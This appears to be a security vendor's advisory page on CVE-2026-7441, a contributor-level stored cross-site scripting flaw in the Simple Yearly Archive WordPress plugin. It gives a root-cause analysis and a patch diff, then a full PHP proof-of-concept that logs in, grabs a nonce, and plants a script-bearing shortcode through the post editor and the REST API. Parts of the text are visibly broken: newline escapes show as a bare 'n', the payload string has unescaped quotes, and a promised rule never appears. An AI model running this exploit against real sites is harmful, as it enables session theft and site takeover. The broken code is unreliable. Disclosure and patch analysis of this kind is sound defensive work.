Published : August 5, 2026

CVE-2026-7441: Simple Yearly Archive <= 2.2.4 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-7441
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.4
Patched Version 2.2.5
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7441:

Atomic Edge analysis of CVE-2026-7441 identifies a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Yearly Archive plugin for WordPress, affecting versions up to and including 2.2.4. The vulnerability resides in the `posttype` attribute of the `SimpleYearlyArchive` shortcode. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses the injected page. The CVSS score is 6.4, and the issue is classified under CWE-79.

The root cause is the lack of sanitization and output escaping on the `posttype` attribute. The vulnerable code path begins in the `register_shortcode` function at line 502 of `simple-yearly-archive.php`. This function extracts the `posttype` parameter from the shortcode attributes using `extract(shortcode_atts(…))`. The unsanitized value is then passed to the `get` method. Inside `get`, the value of `$this->post_type_array` is iterated, and if the post type is not registered, the plugin outputs it directly into an HTML paragraph with `sprintf(__(‘The post type “%s” does not seem to be registered or available.’), $pt)`. This direct output without escaping allows a crafted payload in the `posttype` attribute to be rendered as HTML and JavaScript on the page.

Exploitation requires an attacker to have at least Contributor-level access to a WordPress site. The attacker creates or edits a post or page and inserts the `SimpleYearlyArchive` shortcode with a malicious `posttype` attribute. For example, the shortcode `[SimpleYearlyArchive posttype=”post”>alert(1)”]` would cause the unescaped value to be rendered. When a user views the injected page, the script executes in their browser. The process of exploitation leverages the standard WordPress shortcode rendering, requiring no other special conditions beyond the attacker’s authenticated session.

The patch, implemented in version 2.2.5, introduces two key changes. First, the `posttype` attribute is sanitized in `register_shortcode` using `sanitize_key`. This function strips out all characters except lowercase alphanumerics, dashes, and underscores, effectively neutralizing script payloads. Second, the output within the `get` method is escaped using `esc_html()` on the post type name and `esc_html__()` for the translated string. This ensures that even if a malicious value reaches the output, it is rendered as plain text, not executable HTML. These changes prevent both the injection of malicious content and its execution.

If successfully exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user who views the affected page. This can lead to session hijacking, where the attacker steals the administrator’s cookies, or to performing actions on behalf of the victim, such as creating new admin accounts or modifying site content. The attack has a direct impact on confidentiality, integrity, and availability, as the injected script can exfiltrate data, deface the site, or force the victim’s browser to perform unintended actions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-yearly-archive/simple-yearly-archive.php
+++ b/simple-yearly-archive/simple-yearly-archive.php
@@ -1,7 +1,7 @@
 <?php
 /*
  * Plugin Name: Simple Yearly Archive
- * Version: 2.2.4
+ * Version: 2.2.5
  * Plugin URI: https://www.schloebe.de/wordpress/simple-yearly-archive-plugin/
  * Description: A simple, clean yearly list of your archives.
  * Author: Oliver Schlöbe
@@ -34,23 +34,23 @@
  */
 class SimpleYearlyArchive
 {
-	private static $instance = null;
-	private $plugin_path;
-	private $plugin_url;
-	private $gmt_offset;
-	private $sort_order;
-	private $post_status;
-	private $post_type;
-	private $post_type_array;
-	public $text_domain = 'simple-yearly-archive';
-	private $slug = 'simple-yearly-archive';
-	private $shortcode = 'SimpleYearlyArchive';
-	private $plugin_version = '2.2.4';
+	private static ?SimpleYearlyArchive $instance = null;
+	private string $plugin_path;
+	private string $plugin_url;
+	private int $gmt_offset;
+	private string $sort_order;
+	private array $post_status;
+	private string $post_type;
+	private array $post_type_array;
+	public string $text_domain = 'simple-yearly-archive';
+	private string $slug = 'simple-yearly-archive';
+	private string $shortcode = 'SimpleYearlyArchive';
+	private string $plugin_version = '2.2.5';

 	/**
 	 * Creates or returns an instance of this class.
 	 */
-	public static function get_instance()
+	public static function get_instance(): SimpleYearlyArchive
 	{
 		if (null == self::$instance) {
 			self::$instance = new self();
@@ -110,14 +110,14 @@
 	 * @since	0.7
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	string
-	 * @param	int|string
-	 * @return	int|string
+	 * @param	string $format
+	 * @param	int|string $excludeCat
+	 * @param	int|string $includeCat
+	 * @param	string $posttype
+	 * @param	string $dateformat
+	 * @return	string
 	 */
-	public function get($format, $excludeCat = '', $includeCat = '', $posttype = '', $dateformat = '')
+	public function get(string $format, string $excludeCat = '', string $includeCat = '', string $posttype = '', string $dateformat = ''): string
 	{
 		global $wpdb, $PHP_SELF, $wp_version;

@@ -131,8 +131,11 @@
 		$output = '';

 		foreach ($this->post_type_array as $pt) {
-			if (!in_array($pt, $sya_post_types)) {
-				$output .= "<p>" . sprintf(__('The post type "%s" does not seem to be registered or available.', 'simple-yearly-archive'), $pt) . "</p>";
+			if (!in_array($pt, $sya_post_types, true)) {
+				$output .= "<p>" . sprintf(
+					esc_html__('The post type "%s" does not seem to be registered or available.', 'simple-yearly-archive'),
+					esc_html($pt)
+				) . "</p>";
 				$output = apply_filters('sya_archive_output', $output);
 				return $output;
 			}
@@ -318,13 +321,13 @@
 	 *
 	 * @since	0.7
 	 * @author	wordpress@schloebe.de
-	 * @param	string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	int|string
+	 * @param	string $format
+	 * @param	int|string $excludeCat
+	 * @param	int|string $includeCat
+	 * @param	int|string $posttype
+	 * @param	int|string $dateformat
 	 */
-	public function display($format = 'yearly', $excludeCat = '', $includeCat = '', $posttype = 'post', $dateformat = '')
+	public function display(string $format = 'yearly', string $excludeCat = '', string $includeCat = '', string $posttype = 'post', string $dateformat = '')
 	{
 		echo $this->get($format, $excludeCat, $includeCat, $posttype, $dateformat);
 	}
@@ -335,7 +338,7 @@
 	 * @since	1.7.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param 	array|object
+	 * @param 	array|object $syaposts
 	 * @return	array|object
 	 */
 	public function get_archive_posts($syaposts)
@@ -417,10 +420,10 @@
 	 * @since	1.7.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	string
-	 * @param	int|string
+	 * @param	string $format
+	 * @param	array $syaargs
 	 */
-	public function setup_args($format, &$syaargs)
+	public function setup_args(string $format, array &$syaargs)
 	{
 		if ($format == 'yearly_act') {
 			$syaargs['year'] = date('Y');
@@ -461,7 +464,7 @@
 	 * @param	array $yeararray
 	 * @return	array
 	 */
-	public function get_overview($yeararray)
+	public function get_overview(array $yeararray): array
 	{
 		$years = [];
 		foreach ($yeararray as $year) {
@@ -476,11 +479,11 @@
 	 * @since	1.6.2
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	$code string
-	 * @param	$wplang string
+	 * @param	string $code
+	 * @param	string $wplang
 	 * @return	string
 	 */
-	public function wpml_get_locale_from_code($code, $wplang)
+	public function wpml_get_locale_from_code(string $code, string $wplang): string
 	{
 		global $wpdb;

@@ -496,18 +499,21 @@
 	 * @since	1.1.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	mixed
+	 * @param	array $atts
 	 * @return	string
 	 */
-	public function register_shortcode($atts)
+	public function register_shortcode(array $atts): string
 	{
-		extract(shortcode_atts([
+		$defaults = shortcode_atts([
 			'type' => 'yearly',
 			'exclude' => '',
 			'include' => '',
 			'posttype' => 'post',
 			'dateformat' => ''
-		], $atts, $this->shortcode));
+		], $atts, $this->shortcode);
+		extract($defaults);
+
+		$posttype = isset($atts['posttype']) ? sanitize_key($atts['posttype']) : 'post';

 		return $this->get($type, $exclude, $include, $posttype, $dateformat);
 	}
@@ -518,13 +524,13 @@
 	 * @since 0.7
 	 * @author wordpress@schloebe.de
 	 *
-	 * @param string
+	 * @param string $syapost
 	 * @return string
 	 */
-	public function parse_inline($syapost)
+	public function parse_inline(string $syapost): string
 	{
 		if (substr_count($syapost, '<!--simple-yearly-archive-->') > 0) {
-			$sya_archives = $this->get($format, $excludeCat);
+			$sya_archives = $this->get('yearly', '');
 			$syapost = str_replace('<!--simple-yearly-archive-->', $sya_archives, $syapost);
 		}
 		return $syapost;
@@ -536,7 +542,7 @@
 	 * @since 0.8
 	 * @author wordpress@schloebe.de
 	 */
-	public function set_default_options()
+	public function set_default_options(): void
 	{
 		if (get_option('sya_dateformat') == false) {
 			update_option('sya_dateformat', 'd/m');
@@ -600,22 +606,22 @@
 		}
 	}

-	public function get_plugin_url()
+	public function get_plugin_url(): string
 	{
 		return $this->plugin_url;
 	}

-	public function get_plugin_path()
+	public function get_plugin_path(): string
 	{
 		return $this->plugin_path;
 	}

-	public function get_plugin_version()
+	public function get_plugin_version(): string
 	{
 		return $this->plugin_version;
 	}

-	public function get_plugin_slug()
+	public function get_plugin_slug(): string
 	{
 		return $this->slug;
 	}
@@ -623,7 +629,7 @@
 	/**
 	 * Place code that runs at plugin activation here.
 	 */
-	public function activation()
+	public function activation(): void
 	{
 		$this->set_default_options();
 	}
@@ -631,28 +637,28 @@
 	/**
 	 * Place code that runs at plugin deactivation here.
 	 */
-	public function deactivation()
+	public function deactivation(): void
 	{
 	}

 	/**
 	 * Enqueue and register JavaScript files here.
 	 */
-	public function register_scripts()
+	public function register_scripts(): void
 	{
 	}

 	/**
 	 * Enqueue and register CSS files here.
 	 */
-	public function register_styles()
+	public function register_styles(): void
 	{
 	}

 	/**
 	 * Place code for your plugin's functionality here.
 	 */
-	private function run()
+	private function run(): void
 	{
 	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7441 - Simple Yearly Archive <= 2.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

/**
 * Proof of Concept for CVE-2026-7441
 *
 * This script demonstrates how an authenticated user with Contributor-level access
 * can inject a Stored XSS payload via the 'posttype' attribute of the
 * SimpleYearlyArchive shortcode.
 *
 * Usage:
 *   php poc.php
 */

// --- Configuration ---
$target_url = 'http://example.com';  // Replace with the target WordPress site URL
$username = 'contributor_user';      // Replace with a valid username (Contributor role or higher)
$password = 'contributor_password';  // Replace with the user's password

// --- cURL Helper Function ---
function make_request($url, $method = 'GET', $data = null, $cookies = null, $headers = null) {
    $ch = curl_init();

    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_COOKIEJAR => 'cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ];

    if ($method === 'POST') {
        $options[CURLOPT_POST] = true;
        $options[CURLOPT_POSTFIELDS] = $data;
    }

    if ($cookies) {
        $options[CURLOPT_COOKIE] = $cookies;
    }

    if ($headers) {
        $options[CURLOPT_HTTPHEADER] = $headers;
    }

    curl_setopt_array($ch, $options);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);

    curl_close($ch);

    if ($error) {
        die('cURL error: ' . $error . "n");
    }

    return ['code' => $http_code, 'body' => $response];
}

// --- Step 1: Login ---
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$response = make_request($login_url, 'POST', $login_data);

if ($response['code'] !== 200) {
    echo "[!] Login failed (HTTP {$response['code']})n";
    echo "[+] Possible that multi-factor authentication is required.n";
    echo "[+] Manual login may be necessary. Continuing with the assumption of valid session cookies in 'cookies.txt'n";
} else {
    echo "[+] Login request sent. Checking for authentication...n";
}

// --- Step 2: Get nonce and create a new post ---
$new_post_url = $target_url . '/wp-admin/post-new.php';
$response = make_request($new_post_url);

if ($response['code'] !== 200) {
    die('[!] Failed to access post editor. Check login status.n');
}

preg_match('/name="_wpnonce" value="([^"]+)"/', $response['body'], $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    echo "[!] Could not extract nonce. Trying alternative method...n";
    // Fallback: Try to get REST API nonce
    preg_match('/wpApiSettings:{"root":"[^"]+","nonce":"([^"]+)"/', $response['body'], $matches);
    $nonce = $matches[1] ?? '';
    if (empty($nonce)) {
        die('[!] Failed to obtain nonce.n');
    }
}

// --- Step 3: Craft malicious post with XSS payload ---
$payload = 'post";><script>alert('CVE-2026-7441')</script>';
$post_content = '[SimpleYearlyArchive posttype="' . $payload . '"]';

$post_data = [
    'post_title' => 'CVE-2026-7441 XSS Test',
    'content' => $post_content,
    'post_status' => 'draft',
    'post_type' => 'post',
    '_wpnonce' => $nonce
];

$post_url = $target_url . '/wp-admin/post.php';
$response = make_request($post_url, 'POST', $post_data);

if ($response['code'] === 200 || $response['code'] === 302) {
    echo "[+] Post created successfully.n";
    echo "[+] Check the post content for stored XSS.n";
    echo "[+] Visit the post to see if the alert triggers.n";
} else {
    echo '[!] Failed to create post (HTTP ' . $response['code'] . ').n';
}

// --- Step 4: Alternative approach using REST API ---
$api_nonce_file = 'cookies.txt';
$cookie_file_content = file_get_contents($api_nonce_file);
$rest_nonce = '';
if (preg_match('/wordpress_logged_in/', $cookie_file_content)) {
    $rest_url = $target_url . '/wp-json/wp/v2/users/me';
    $response_me = make_request($rest_url, 'GET', null, null, ['X-WP-Nonce: ' . $nonce]);
    if ($response_me['code'] === 200) {
        echo "[+] REST API authentication verified.n";
        $rest_post_url = $target_url . '/wp-json/wp/v2/posts';
        $post_payload = [
            'title' => 'CVE-2026-7441 REST XSS',
            'content' => $post_content,
            'status' => 'publish'
        ];
        $response_r = make_request(
            $rest_post_url,
            'POST',
            json_encode($post_payload),
            null,
            [
                'X-WP-Nonce: ' . $nonce,
                'Content-Type: application/json'
            ]
        );
        if ($response_r['code'] === 201) {
            $post_data_r = json_decode($response_r['body'], true);
            echo "[+] Post published via REST API. Post ID: " . $post_data_r['id'] . "n";
            echo "[+] Visit: " . $post_data_r['link'] . "n";
        } else {
            echo '[!] REST API post creation failed (HTTP ' . $response_r['code'] . ').n';
        }
    }
}

// --- Cleanup ---
echo "[+] Exploitation attempt complete.n";
echo "[+] If the XSS executes, you should see an alert box with 'CVE-2026-7441'.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.